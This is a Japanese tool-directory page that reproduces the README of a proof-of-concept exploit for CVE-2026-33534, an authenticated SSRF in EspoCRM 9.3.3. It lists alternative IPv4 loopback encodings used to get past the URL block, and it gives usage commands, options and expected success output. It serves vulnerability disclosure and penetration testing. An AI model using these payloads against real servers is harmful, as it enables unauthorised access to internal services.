Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33534 — EspoCRM 9.3.3 - 代替IPv4表記による認証済みSSRF | Kitploit
ツール/GitHubGitHub/entrovyx/cve-2026-33534
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubentrovyx/cve-2026-33534

CVE-2026-33534

EspoCRM 9.3.3 - 代替IPv4表記による認証済みSSRF

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33534 - EspoCRM 9.3.3 認証済みSSRF

EspoCRM 9.3.3の/api/v1/Attachment/fromImageUrlエンドポイントにおける代替IPv4ループバック表記を利用した認証済みSSRFの概念実証コード。

概要

EspoCRM 9.3.3はhttp://127.0.0.1/...のような直接的なループバックURLをブロックしますが、サーバー側のフェッチ処理はcURLがループバックに正規化する代替IPv4表現を受け入れます。これにより、影響を受ける添付ファイル/画像アップロードフローにアクセスできる認証済みユーザーが、EspoCRMサーバーに内部リソースをフェッチさせることが可能になります。

このエクスプロイトは、まず直接的な127.0.0.1コントロールリクエストを送信し、HTTP 403でブロックされることを期待します。その後、複数のエンコードされたループバックペイロードをテストし、保存された添付ファイルを生成するものを報告します。

影響を受けるバージョン

  • 脆弱性あり: EspoCRM 9.3.3
  • 修正済み: EspoCRM 9.3.4
  • アドバイザリ: https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73
  • CVE: CVE-2026-33534
  • CWE: CWE-918

要件

  • Python 3
  • requests
  • 有効なEspoCRM認証情報
  • 対象の画像/添付ファイルフィールドを使用する権限
  • 依存関係のインストール:

    root@kitploit:~
    python3 -m pip install requests
    

    使用方法

    ポート8083で実行中のEspoCRMインスタンスに対する基本的なローカル検証:

    root@kitploit:~
    python3 CVE-2026-33534.py \
      -u http://127.0.0.1:8083 \
      -U admin \
      -P 'Admin12345!' \
      --internal-port 8083 \
      --cleanup
    

    カスタムポートとパスで内部サービスをテスト:

    root@kitploit:~
    python3 CVE-2026-33534.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --internal-port 9002 \
      --internal-path /interno.png \
      --cleanup
    

    カスタムペイロードのみを使用:

    root@kitploit:~
    python3 CVE-2026-33534.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --no-default-payloads \
      --payload 0x7f000001 \
      --payload 2130706433
    

    デフォルトペイロード

    このエクスプロイトは、デフォルトで以下のループバックホスト表現をテストします:

    root@kitploit:~
    0177.0.0.1
    0177.0000.0000.0001
    0177.1
    0x7f.0.0.1
    0x7f.0x0.0x0.0x1
    0x7f000001
    2130706433
    017700000001
    127.1
    127.0.1
    127.000.000.001
    0000000000000000000000000177.0.0.1
    

    カスタムペイロードファイルがサポートされています。各行は次のいずれかになります:

    root@kitploit:~
    host
    label=host
    

    例:

    root@kitploit:~
    hex-dword=0x7f000001
    decimal-dword=2130706433
    

    実行方法:

    root@kitploit:~
    python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
    

    オプション

    root@kitploit:~
    -u, --url                 ベースとなるEspoCRM URL
    -U, --username            EspoCRMユーザー名
    -P, --password            EspoCRMパスワード
    --internal-port           フェッチする内部ループバックポート
    --internal-path           フェッチする内部パス
    --payload                 追加のループバックホスト表記
    --payload-file            1行に1つのホストペイロードを含むファイル
    --no-default-payloads     カスタムペイロードのみを使用
    --field                   添付ファイルフィールド、デフォルト: avatar
    --parent-type             親エンティティタイプ、デフォルト: User
    --parent-id               オプションの親エンティティID
    --cleanup                 成功したペイロードによって作成された添付ファイルを削除
    --stop-on-first           最初の成功したバイパス後に停止
    --insecure                TLS証明書の検証を無効化
    

    期待される出力

    エクスプロイトが成功すると、直接ループバックコントロールがブロックされ、1つ以上のエンコードされたペイロードが受け入れられたことが表示されます:

    root@kitploit:~
    [*] Control response: HTTP 403 Not allowed URL.
    [+] octal dotted             0177.0.0.1        HTTP 200 id=... type=image/svg+xml size=4438
    [+] hex dword                0x7f000001        HTTP 200 id=... type=image/svg+xml size=4438
    
    [+] Vulnerable behavior confirmed.
    [+] Direct loopback control: HTTP 403
    [+] Successful payloads: 12
    

    注意事項

    • デフォルトのPoCは、ターゲット自身のループバックリスナーから/client/img/logo-light.svgをフェッチします。別の内部サービスには--internal-portと--internal-pathを調整してください。
    • デフォルトのフィールドはUser.avatarです。テストするアカウントが異なるアップロードコンテキストを必要とする場合は、--field、--parent-type、--parent-idを使用してください。
    • テスト中は--cleanupを使用して、作成された添付ファイルを自動的に削除してください。
    ツールをダウンロード